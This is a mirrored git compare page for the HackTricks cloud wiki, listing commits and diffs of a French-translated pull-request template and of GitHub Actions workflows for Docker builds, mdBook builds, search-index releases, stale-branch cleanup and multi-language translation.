mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-10 23:00:49 -08:00
Compare commits
281 Commits
searchinde
...
fr
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
b2a76c0f5b | ||
|
|
83dc2e9d86 | ||
|
|
6b0f8a8bfa | ||
|
|
8a3d994730 | ||
|
|
19f7493fd1 | ||
|
|
b674a62a39 | ||
|
|
532008a88a | ||
|
|
c9761e8d9e | ||
|
|
c12325418e | ||
|
|
36955229a3 | ||
|
|
42613b0737 | ||
|
|
29e1cd50bd | ||
|
|
8d21af5a9e | ||
|
|
1be41bb6aa | ||
|
|
ac5a1a937a | ||
|
|
21f2261afb | ||
|
|
8708b344a7 | ||
|
|
fbff7cea84 | ||
|
|
34686f7b30 | ||
|
|
af977fddb0 | ||
|
|
942489f41d | ||
|
|
aaffd36dc1 | ||
|
|
5362793c2a | ||
|
|
5619af952e | ||
|
|
119281cd31 | ||
|
|
989e8be4c3 | ||
|
|
d17ba6ad81 | ||
|
|
c9f18d9779 | ||
|
|
29b9eec756 | ||
|
|
38031612c8 | ||
|
|
9b126f0e77 | ||
|
|
69becb79cc | ||
|
|
a5cfbda7db | ||
|
|
115e2b87b5 | ||
|
|
a3ed5d83c0 | ||
|
|
be343fc216 | ||
|
|
6c560f8fd9 | ||
|
|
73b94b6ada | ||
|
|
4422b3dedf | ||
|
|
759216e76c | ||
|
|
121c3e2c72 | ||
|
|
f8c4bfc589 | ||
|
|
b1651c2faf | ||
|
|
696cb3e58d | ||
|
|
c1c6c52d4b | ||
|
|
b32dbf32de | ||
|
|
c6f5d47cc1 | ||
|
|
65dcc3a3a1 | ||
|
|
d67dc57735 | ||
|
|
04047b5fcf | ||
|
|
fafefc6269 | ||
|
|
cd97e72ce4 | ||
|
|
d27971ad7d | ||
|
|
0ff7779bf0 | ||
|
|
8d2de8de9f | ||
|
|
f1dbf78561 | ||
|
|
47a26e783b | ||
|
|
904bbb9aee | ||
|
|
c1f665d6a0 | ||
|
|
f2bf0b551c | ||
|
|
50b81dd10a | ||
|
|
30dea943d1 | ||
|
|
770675a665 | ||
|
|
1b0766a379 | ||
|
|
3327b34468 | ||
|
|
e83e830dae | ||
|
|
9e33343834 | ||
|
|
7a3e3edcf8 | ||
|
|
ac3901d876 | ||
|
|
01e42f1f54 | ||
|
|
6645d91196 | ||
|
|
2f8174d95d | ||
|
|
5ee4305a10 | ||
|
|
5789dc7b04 | ||
|
|
d45b697707 | ||
|
|
2da23a69d2 | ||
|
|
9232bfe188 | ||
|
|
98b85a912b | ||
|
|
187e4ec22b | ||
|
|
bef2812d9b | ||
|
|
3e2e1b6814 | ||
|
|
9fa64736dd | ||
|
|
562f483de8 | ||
|
|
4e6e203f11 | ||
|
|
1b0addd8e5 | ||
|
|
3fd8eb9afd | ||
|
|
a370178b7f | ||
|
|
55a51c0f7b | ||
|
|
41f42173b5 | ||
|
|
3b3bff852d | ||
|
|
c3bda6f370 | ||
|
|
d962e270ab | ||
|
|
04e6bb8ee2 | ||
|
|
e380c3883f | ||
|
|
b1df2b699b | ||
|
|
b68cf2c6ab | ||
|
|
5246a7daff | ||
|
|
5ca48107d7 | ||
|
|
20a25867ac | ||
|
|
5121124ee5 | ||
|
|
9118754068 | ||
|
|
214fb99b1b | ||
|
|
c528f1092a | ||
|
|
5733e8bf45 | ||
|
|
eddc26c8be | ||
|
|
de82983835 | ||
|
|
276edc32f3 | ||
|
|
324e6800ba | ||
|
|
60303d7c79 | ||
|
|
123c36f493 | ||
|
|
3c780fad2a | ||
|
|
4e46ed8993 | ||
|
|
1b664870dc | ||
|
|
866e46e44d | ||
|
|
b96d5e4853 | ||
|
|
22a841300e | ||
|
|
434bd2eaba | ||
|
|
fdd6c85445 | ||
|
|
a1c02e4fbf | ||
|
|
b0c33c335d | ||
|
|
00eda52e9d | ||
|
|
bd0a4fa30d | ||
|
|
beaab19856 | ||
|
|
390de14a1a | ||
|
|
613a7805e6 | ||
|
|
a270984676 | ||
|
|
94ced12d16 | ||
|
|
53df2869ee | ||
|
|
e56d3eadb6 | ||
|
|
bd8aceb439 | ||
|
|
227a7b3450 | ||
|
|
da67994745 | ||
|
|
c6c6359915 | ||
|
|
2e05969346 | ||
|
|
3c2a0f0d19 | ||
|
|
6596cca254 | ||
|
|
b73379649f | ||
|
|
de04a228eb | ||
|
|
0941551c39 | ||
|
|
517cb15378 | ||
|
|
0134353485 | ||
|
|
417ada6ef2 | ||
|
|
ea7ec5a6e5 | ||
|
|
76c1fd0b0e | ||
|
|
994f6fa259 | ||
|
|
99b3a6cf9d | ||
|
|
253f2e1cb1 | ||
|
|
ed14482a19 | ||
|
|
201b064bb4 | ||
|
|
b2427b7a0b | ||
|
|
748b9a0e7b | ||
|
|
fe049ac9ad | ||
|
|
6bd3facb12 | ||
|
|
75c1c65642 | ||
|
|
1ce6d33c9f | ||
|
|
b0bdabb636 | ||
|
|
f814e5e60d | ||
|
|
306fd1ef92 | ||
|
|
239ec7ae77 | ||
|
|
3bf9b9fc88 | ||
|
|
5e5560effb | ||
|
|
d24ac173a6 | ||
|
|
f32e9fc083 | ||
|
|
87f08db803 | ||
|
|
d9d1a95657 | ||
|
|
046b20f6e9 | ||
|
|
7900950879 | ||
|
|
20360dfdbf | ||
|
|
90b6a9d058 | ||
|
|
3ec8204a2f | ||
|
|
a0c8eda869 | ||
|
|
e971e0af97 | ||
|
|
a29deb36e3 | ||
|
|
d52c9802f0 | ||
|
|
13a0378c80 | ||
|
|
1af9667876 | ||
|
|
fdcbb2aad0 | ||
|
|
608718eff7 | ||
|
|
5ef1a237f0 | ||
|
|
9c0f75eec9 | ||
|
|
2ad8b4e61f | ||
|
|
8c2a58e626 | ||
|
|
c342ee1f06 | ||
|
|
0e2deb1bfd | ||
|
|
c9e72b48eb | ||
|
|
5a75a1b7c9 | ||
|
|
0cd482bae7 | ||
|
|
22bd2c4fde | ||
|
|
fdd644aba1 | ||
|
|
412b58e37d | ||
|
|
aa39bcd7db | ||
|
|
75cd465bfb | ||
|
|
2146054c14 | ||
|
|
3178ce7226 | ||
|
|
7e53077bd4 | ||
|
|
305afb8790 | ||
|
|
0fe7d2b348 | ||
|
|
08a4499d66 | ||
|
|
51d27ff649 | ||
|
|
429f1cbd19 | ||
|
|
93c5553d0b | ||
|
|
c37183b71f | ||
|
|
a12069f600 | ||
|
|
32e45dff53 | ||
|
|
10892706e8 | ||
|
|
c3bbf40138 | ||
|
|
124a1c5a07 | ||
|
|
7c57c6a35f | ||
|
|
700fc3c2b8 | ||
|
|
e35ae29379 | ||
|
|
7066cae894 | ||
|
|
1e7b1c39f5 | ||
|
|
a03dde95f6 | ||
|
|
7d225cb0a4 | ||
|
|
20dd94b668 | ||
|
|
a299e50106 | ||
|
|
71fb02ba9f | ||
|
|
f368a39c25 | ||
|
|
9bb2ffe372 | ||
|
|
dea1cae06f | ||
|
|
0398fb6942 | ||
|
|
2da764d847 | ||
|
|
1ab26f7203 | ||
|
|
fd6c7534db | ||
|
|
0da11d0cc2 | ||
|
|
b42dfe1729 | ||
|
|
40e9e56a61 | ||
|
|
d502cc24dd | ||
|
|
0ab5dc6fd7 | ||
|
|
5bc1061b7c | ||
|
|
119deace48 | ||
|
|
42ee13c582 | ||
|
|
757ea10f78 | ||
|
|
5b44b5140d | ||
|
|
c16cef38a9 | ||
|
|
c72565ac8a | ||
|
|
8e9ddbd959 | ||
|
|
705f2f5791 | ||
|
|
f79ad58abf | ||
|
|
11db7ef61f | ||
|
|
1a3ee10cca | ||
|
|
21a3aa393a | ||
|
|
f109214b85 | ||
|
|
0ab9c4c792 | ||
|
|
4d97898638 | ||
|
|
6960947800 | ||
|
|
88931f156a | ||
|
|
a14c814155 | ||
|
|
1957048093 | ||
|
|
cc0f03ac56 | ||
|
|
beb370cbec | ||
|
|
b3bd9b7b15 | ||
|
|
fa9d9cd71c | ||
|
|
fa4f244d2d | ||
|
|
9e9a615fb3 | ||
|
|
0fe23d1d1b | ||
|
|
8ee62862e5 | ||
|
|
a016b92b2f | ||
|
|
1543a686f8 | ||
|
|
370dd365b8 | ||
|
|
833cc8890a | ||
|
|
9dbfcc12a5 | ||
|
|
b2dfca01d4 | ||
|
|
9723f6325d | ||
|
|
286883acbd | ||
|
|
3d52273139 | ||
|
|
966d7f1324 | ||
|
|
a5ec9eba85 | ||
|
|
9b622bb8da | ||
|
|
de6ace64a0 | ||
|
|
29d96d4af9 | ||
|
|
58e129f313 | ||
|
|
31b6cbf88d | ||
|
|
dc0a09a09c | ||
|
|
656df177f5 | ||
|
|
a28cf6a840 | ||
|
|
1778196f60 | ||
|
|
0a742969af | ||
|
|
4ffa248b02 | ||
|
|
9bd90436f1 | ||
|
|
730ef05579 |
15
.github/pull_request_template.md
vendored
15
.github/pull_request_template.md
vendored
@@ -1,16 +1,11 @@
|
||||
You can remove this content before sending the PR:
|
||||
Vous pouvez supprimer ce contenu avant d'envoyer la PR :
|
||||
|
||||
## Attribution
|
||||
We value your knowledge and encourage you to share content. Please ensure that you only upload content that you own or that have permission to share it from the original author (adding a reference to the author in the added text or at the end of the page you are modifying or both). Your respect for intellectual property rights fosters a trustworthy and legal sharing environment for everyone.
|
||||
Nous valorisons vos connaissances et vous encourageons à partager du contenu. Veuillez vous assurer que vous ne téléchargez que du contenu que vous possédez ou pour lequel vous avez la permission de le partager de l'auteur original (ajoutant une référence à l'auteur dans le texte ajouté ou à la fin de la page que vous modifiez ou les deux). Votre respect des droits de propriété intellectuelle favorise un environnement de partage fiable et légal pour tous.
|
||||
|
||||
## HackTricks Training
|
||||
If you are adding so you can pass the in the [ARTE certification](https://training.hacktricks.xyz/courses/arte) exam with 2 flags instead of 3, you need to call the PR `arte-<username>`.
|
||||
|
||||
Also, remember that grammar/syntax fixes won't be accepted for the exam flag reduction.
|
||||
|
||||
|
||||
In any case, thanks for contributing to HackTricks!
|
||||
|
||||
|
||||
Si vous ajoutez afin de pouvoir passer l'examen de la [certification ARTE](https://training.hacktricks.xyz/courses/arte) avec 2 drapeaux au lieu de 3, vous devez appeler la PR `arte-<username>`.
|
||||
|
||||
De plus, rappelez-vous que les corrections de grammaire/syntaxe ne seront pas acceptées pour la réduction de drapeaux d'examen.
|
||||
|
||||
Dans tous les cas, merci de contribuer à HackTricks !
|
||||
|
||||
56
.github/workflows/build_docker.yml
vendored
56
.github/workflows/build_docker.yml
vendored
@@ -1,56 +0,0 @@
|
||||
name: Build and Push Docker Image
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
- 'book/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: build_docker
|
||||
|
||||
permissions:
|
||||
packages: write
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
build-and-push:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
# 1. Check out the repository to get the Dockerfile
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v3
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
# 2. Log into GitHub Container Registry
|
||||
- name: Log in to GHCR
|
||||
uses: docker/login-action@v2
|
||||
with:
|
||||
registry: ghcr.io
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
# 3. Build and push
|
||||
- name: Build and push Docker image
|
||||
run: |
|
||||
# Define image name
|
||||
IMAGE_NAME=ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image
|
||||
|
||||
# Build Docker image
|
||||
docker build -t $IMAGE_NAME:latest .
|
||||
|
||||
# Push Docker image to GHCR
|
||||
docker push $IMAGE_NAME:latest
|
||||
|
||||
# Set image visibility to public
|
||||
curl -X PATCH \
|
||||
-H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/packages/container/translator-image/visibility \
|
||||
-d '{"visibility":"public"}'
|
||||
78
.github/workflows/build_master.yml
vendored
78
.github/workflows/build_master.yml
vendored
@@ -14,15 +14,12 @@ on:
|
||||
concurrency: build_master
|
||||
|
||||
permissions:
|
||||
packages: write
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
container:
|
||||
image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
|
||||
environment: prod
|
||||
|
||||
steps:
|
||||
@@ -30,65 +27,32 @@ jobs:
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: MDBOOK_BOOK__LANGUAGE=en mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
|
||||
run: mdbook build
|
||||
|
||||
- name: Install GitHub CLI
|
||||
run: |
|
||||
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
|
||||
&& sudo apt update \
|
||||
&& sudo apt install gh -y
|
||||
# Cat hacktricks-preprocessor.log
|
||||
#- name: Cat hacktricks-preprocessor.log
|
||||
# run: cat hacktricks-preprocessor.log
|
||||
|
||||
- name: Publish search index release asset
|
||||
shell: bash
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
||||
ASSET="book/searchindex.js"
|
||||
TAG="searchindex-en"
|
||||
TITLE="Search Index (en)"
|
||||
|
||||
if [ ! -f "$ASSET" ]; then
|
||||
echo "Expected $ASSET to exist after build" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
TOKEN="${GITHUB_TOKEN}"
|
||||
if [ -z "$TOKEN" ]; then
|
||||
echo "No token available for GitHub CLI" >&2
|
||||
exit 1
|
||||
fi
|
||||
export GH_TOKEN="$TOKEN"
|
||||
|
||||
# Delete the release if it exists
|
||||
echo "Checking if release $TAG exists..."
|
||||
if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
|
||||
echo "Release $TAG already exists, deleting it..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag || {
|
||||
echo "Failed to delete release, trying without cleanup-tag..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" || {
|
||||
echo "Warning: Could not delete existing release, will try to recreate..."
|
||||
}
|
||||
}
|
||||
sleep 2 # Give GitHub API a moment to process the deletion
|
||||
else
|
||||
echo "Release $TAG does not exist, proceeding with creation..."
|
||||
fi
|
||||
|
||||
# Create new release (with force flag to overwrite if deletion failed)
|
||||
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY" || {
|
||||
echo "Failed to create release, trying with force flag..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag >/dev/null 2>&1 || true
|
||||
sleep 2
|
||||
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY"
|
||||
}
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
|
||||
204
.github/workflows/cleanup_branches.yml
vendored
204
.github/workflows/cleanup_branches.yml
vendored
@@ -1,204 +0,0 @@
|
||||
name: Cleanup Merged/Closed PR Branches
|
||||
|
||||
on:
|
||||
schedule:
|
||||
- cron: '0 2 * * 0' # Every Sunday at 2 AM UTC
|
||||
workflow_dispatch: # Allow manual triggering
|
||||
inputs:
|
||||
dry_run:
|
||||
description: 'Dry run (show what would be deleted without actually deleting)'
|
||||
required: false
|
||||
default: 'false'
|
||||
type: boolean
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
pull-requests: read
|
||||
|
||||
jobs:
|
||||
cleanup-branches:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0 # Need full history to see all branches
|
||||
token: ${{ secrets.PAT_TOKEN }}
|
||||
|
||||
- name: Install GitHub CLI
|
||||
run: |
|
||||
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
|
||||
&& sudo apt update \
|
||||
&& sudo apt install gh -y
|
||||
|
||||
- name: Configure git
|
||||
run: |
|
||||
git config --global user.email "action@github.com"
|
||||
git config --global user.name "GitHub Action"
|
||||
|
||||
- name: Cleanup merged/closed PR branches
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.PAT_TOKEN }}
|
||||
run: |
|
||||
echo "Starting branch cleanup process..."
|
||||
|
||||
# Check if this is a dry run
|
||||
DRY_RUN="${{ github.event.inputs.dry_run || 'false' }}"
|
||||
if [ "$DRY_RUN" = "true" ]; then
|
||||
echo "🔍 DRY RUN MODE - No branches will actually be deleted"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
# Define protected branches and patterns
|
||||
protected_branches=(
|
||||
"master"
|
||||
"main"
|
||||
)
|
||||
|
||||
# Translation branch patterns (any 2-letter combination)
|
||||
translation_pattern="^[a-zA-Z]{2}$"
|
||||
|
||||
# Get all remote branches except protected ones
|
||||
echo "Fetching all remote branches..."
|
||||
git fetch --all --prune
|
||||
|
||||
# Get list of all remote branches (excluding HEAD)
|
||||
all_branches=$(git branch -r | grep -v 'HEAD' | sed 's/origin\///' | grep -v '^$')
|
||||
|
||||
# Get all open PRs to identify branches with open PRs
|
||||
echo "Getting list of open PRs..."
|
||||
open_pr_branches=$(gh pr list --state open --json headRefName --jq '.[].headRefName' | sort | uniq)
|
||||
|
||||
echo "Open PR branches:"
|
||||
echo "$open_pr_branches"
|
||||
echo ""
|
||||
|
||||
deleted_count=0
|
||||
skipped_count=0
|
||||
|
||||
for branch in $all_branches; do
|
||||
branch=$(echo "$branch" | xargs) # Trim whitespace
|
||||
|
||||
# Skip if empty
|
||||
if [ -z "$branch" ]; then
|
||||
continue
|
||||
fi
|
||||
|
||||
echo "Checking branch: $branch"
|
||||
|
||||
# Check if it's a protected branch
|
||||
is_protected=false
|
||||
for protected in "${protected_branches[@]}"; do
|
||||
if [ "$branch" = "$protected" ]; then
|
||||
echo " ✓ Skipping protected branch: $branch"
|
||||
is_protected=true
|
||||
skipped_count=$((skipped_count + 1))
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if [ "$is_protected" = true ]; then
|
||||
continue
|
||||
fi
|
||||
|
||||
# Check if it's a translation branch (any 2-letter combination)
|
||||
# Also protect any branch that starts with 2 letters followed by additional content
|
||||
if echo "$branch" | grep -Eq "$translation_pattern" || echo "$branch" | grep -Eq "^[a-zA-Z]{2}[_-]"; then
|
||||
echo " ✓ Skipping translation/language branch: $branch"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
continue
|
||||
fi
|
||||
|
||||
# Check if branch has an open PR
|
||||
if echo "$open_pr_branches" | grep -Fxq "$branch"; then
|
||||
echo " ✓ Skipping branch with open PR: $branch"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
continue
|
||||
fi
|
||||
|
||||
# Check if branch had a PR that was merged or closed
|
||||
echo " → Checking PR history for branch: $branch"
|
||||
|
||||
# Look for PRs from this branch (both merged and closed)
|
||||
pr_info=$(gh pr list --state all --head "$branch" --json number,state,mergedAt --limit 1)
|
||||
|
||||
if [ "$pr_info" != "[]" ]; then
|
||||
pr_state=$(echo "$pr_info" | jq -r '.[0].state')
|
||||
pr_number=$(echo "$pr_info" | jq -r '.[0].number')
|
||||
merged_at=$(echo "$pr_info" | jq -r '.[0].mergedAt')
|
||||
|
||||
if [ "$pr_state" = "MERGED" ] || [ "$pr_state" = "CLOSED" ]; then
|
||||
if [ "$DRY_RUN" = "true" ]; then
|
||||
echo " 🔍 [DRY RUN] Would delete branch: $branch (PR #$pr_number was $pr_state)"
|
||||
deleted_count=$((deleted_count + 1))
|
||||
else
|
||||
echo " ✗ Deleting branch: $branch (PR #$pr_number was $pr_state)"
|
||||
|
||||
# Delete the remote branch
|
||||
if git push origin --delete "$branch" 2>/dev/null; then
|
||||
echo " Successfully deleted remote branch: $branch"
|
||||
deleted_count=$((deleted_count + 1))
|
||||
else
|
||||
echo " Failed to delete remote branch: $branch"
|
||||
fi
|
||||
fi
|
||||
else
|
||||
echo " ✓ Skipping branch with open PR: $branch (PR #$pr_number is $pr_state)"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
fi
|
||||
else
|
||||
# No PR found for this branch - it might be a stale branch
|
||||
# Check if branch is older than 30 days and has no recent activity
|
||||
last_commit_date=$(git log -1 --format="%ct" origin/"$branch" 2>/dev/null || echo "0")
|
||||
|
||||
if [ "$last_commit_date" != "0" ] && [ -n "$last_commit_date" ]; then
|
||||
# Calculate 30 days ago in seconds since epoch
|
||||
thirty_days_ago=$(($(date +%s) - 30 * 24 * 60 * 60))
|
||||
|
||||
if [ "$last_commit_date" -lt "$thirty_days_ago" ]; then
|
||||
if [ "$DRY_RUN" = "true" ]; then
|
||||
echo " 🔍 [DRY RUN] Would delete stale branch (no PR, >30 days old): $branch"
|
||||
deleted_count=$((deleted_count + 1))
|
||||
else
|
||||
echo " ✗ Deleting stale branch (no PR, >30 days old): $branch"
|
||||
|
||||
if git push origin --delete "$branch" 2>/dev/null; then
|
||||
echo " Successfully deleted stale branch: $branch"
|
||||
deleted_count=$((deleted_count + 1))
|
||||
else
|
||||
echo " Failed to delete stale branch: $branch"
|
||||
fi
|
||||
fi
|
||||
else
|
||||
echo " ✓ Skipping recent branch (no PR, <30 days old): $branch"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
fi
|
||||
else
|
||||
echo " ✓ Skipping branch (cannot determine age): $branch"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
fi
|
||||
fi
|
||||
|
||||
echo ""
|
||||
done
|
||||
|
||||
echo "=================================="
|
||||
echo "Branch cleanup completed!"
|
||||
if [ "$DRY_RUN" = "true" ]; then
|
||||
echo "Branches that would be deleted: $deleted_count"
|
||||
else
|
||||
echo "Branches deleted: $deleted_count"
|
||||
fi
|
||||
echo "Branches skipped: $skipped_count"
|
||||
echo "=================================="
|
||||
|
||||
# Clean up local tracking branches (only if not dry run)
|
||||
if [ "$DRY_RUN" != "true" ]; then
|
||||
echo "Cleaning up local tracking branches..."
|
||||
git remote prune origin
|
||||
fi
|
||||
|
||||
echo "Cleanup process finished."
|
||||
195
.github/workflows/translate_all.yml
vendored
195
.github/workflows/translate_all.yml
vendored
@@ -1,195 +0,0 @@
|
||||
name: Translator All
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
- Dockerfile
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
packages: write
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
translate:
|
||||
name: Translate → ${{ matrix.name }} (${{ matrix.branch }})
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
|
||||
# Run N languages in parallel (tune max-parallel if needed)
|
||||
strategy:
|
||||
fail-fast: false
|
||||
# max-parallel: 3 #Nothing to run all in parallel
|
||||
matrix:
|
||||
include:
|
||||
- { name: "Afrikaans", language: "Afrikaans", branch: "af" }
|
||||
- { name: "German", language: "German", branch: "de" }
|
||||
- { name: "Greek", language: "Greek", branch: "el" }
|
||||
- { name: "Spanish", language: "Spanish", branch: "es" }
|
||||
- { name: "French", language: "French", branch: "fr" }
|
||||
- { name: "Hindi", language: "Hindi", branch: "hi" }
|
||||
- { name: "Italian", language: "Italian", branch: "it" }
|
||||
- { name: "Japanese", language: "Japanese", branch: "ja" }
|
||||
- { name: "Korean", language: "Korean", branch: "ko" }
|
||||
- { name: "Polish", language: "Polish", branch: "pl" }
|
||||
- { name: "Portuguese", language: "Portuguese", branch: "pt" }
|
||||
- { name: "Serbian", language: "Serbian", branch: "sr" }
|
||||
- { name: "Swahili", language: "Swahili", branch: "sw" }
|
||||
- { name: "Turkish", language: "Turkish", branch: "tr" }
|
||||
- { name: "Ukrainian", language: "Ukrainian", branch: "uk" }
|
||||
- { name: "Chinese", language: "Chinese", branch: "zh" }
|
||||
|
||||
# Ensure only one job per branch runs at a time (even across workflow runs)
|
||||
concurrency:
|
||||
group: translate-${{ matrix.branch }}
|
||||
cancel-in-progress: false
|
||||
|
||||
container:
|
||||
image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
|
||||
|
||||
env:
|
||||
LANGUAGE: ${{ matrix.language }}
|
||||
BRANCH: ${{ matrix.branch }}
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Update and download scripts
|
||||
run: |
|
||||
sudo apt-get update
|
||||
# Install GitHub CLI properly
|
||||
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
|
||||
&& sudo apt update \
|
||||
&& sudo apt install gh -y \
|
||||
&& sudo apt-get install -y wget
|
||||
wget -O /tmp/get_and_save_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/get_and_save_refs.py
|
||||
wget -O /tmp/compare_and_fix_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/compare_and_fix_refs.py
|
||||
wget -O /tmp/translator.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/translator.py
|
||||
|
||||
- name: Run get_and_save_refs.py
|
||||
run: |
|
||||
python /tmp/get_and_save_refs.py
|
||||
|
||||
- name: Download language branch & update refs
|
||||
run: |
|
||||
pwd
|
||||
ls -la
|
||||
git config --global --add safe.directory "$GITHUB_WORKSPACE"
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git config pull.rebase false
|
||||
git checkout $BRANCH
|
||||
git pull
|
||||
python /tmp/compare_and_fix_refs.py --files-unmatched-paths /tmp/file_paths.txt
|
||||
git add .
|
||||
git commit -m "Fix unmatched refs" || echo "No changes to commit"
|
||||
git push || echo "No changes to push"
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
git checkout master
|
||||
cp src/SUMMARY.md /tmp/master-summary.md
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n ",$file" >> /tmp/file_paths.txt
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Files to translate:"
|
||||
cat /tmp/file_paths.txt
|
||||
echo ""
|
||||
echo ""
|
||||
touch /tmp/file_paths.txt
|
||||
|
||||
if [ -s /tmp/file_paths.txt ]; then
|
||||
python /tmp/translator.py \
|
||||
--language "$LANGUAGE" \
|
||||
--branch "$BRANCH" \
|
||||
--api-key "$OPENAI_API_KEY" \
|
||||
-f "$(cat /tmp/file_paths.txt)" \
|
||||
-t 3
|
||||
else
|
||||
echo "No markdown files changed, skipping translation."
|
||||
fi
|
||||
|
||||
- name: Sync SUMMARY.md from master
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
if [ -f /tmp/master-summary.md ]; then
|
||||
cp /tmp/master-summary.md src/SUMMARY.md
|
||||
git add src/SUMMARY.md
|
||||
git commit -m "Sync SUMMARY.md with master" || echo "SUMMARY already up to date"
|
||||
git push || echo "No SUMMARY updates to push"
|
||||
else
|
||||
echo "master summary not exported; failing"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
- name: Build mdBook
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
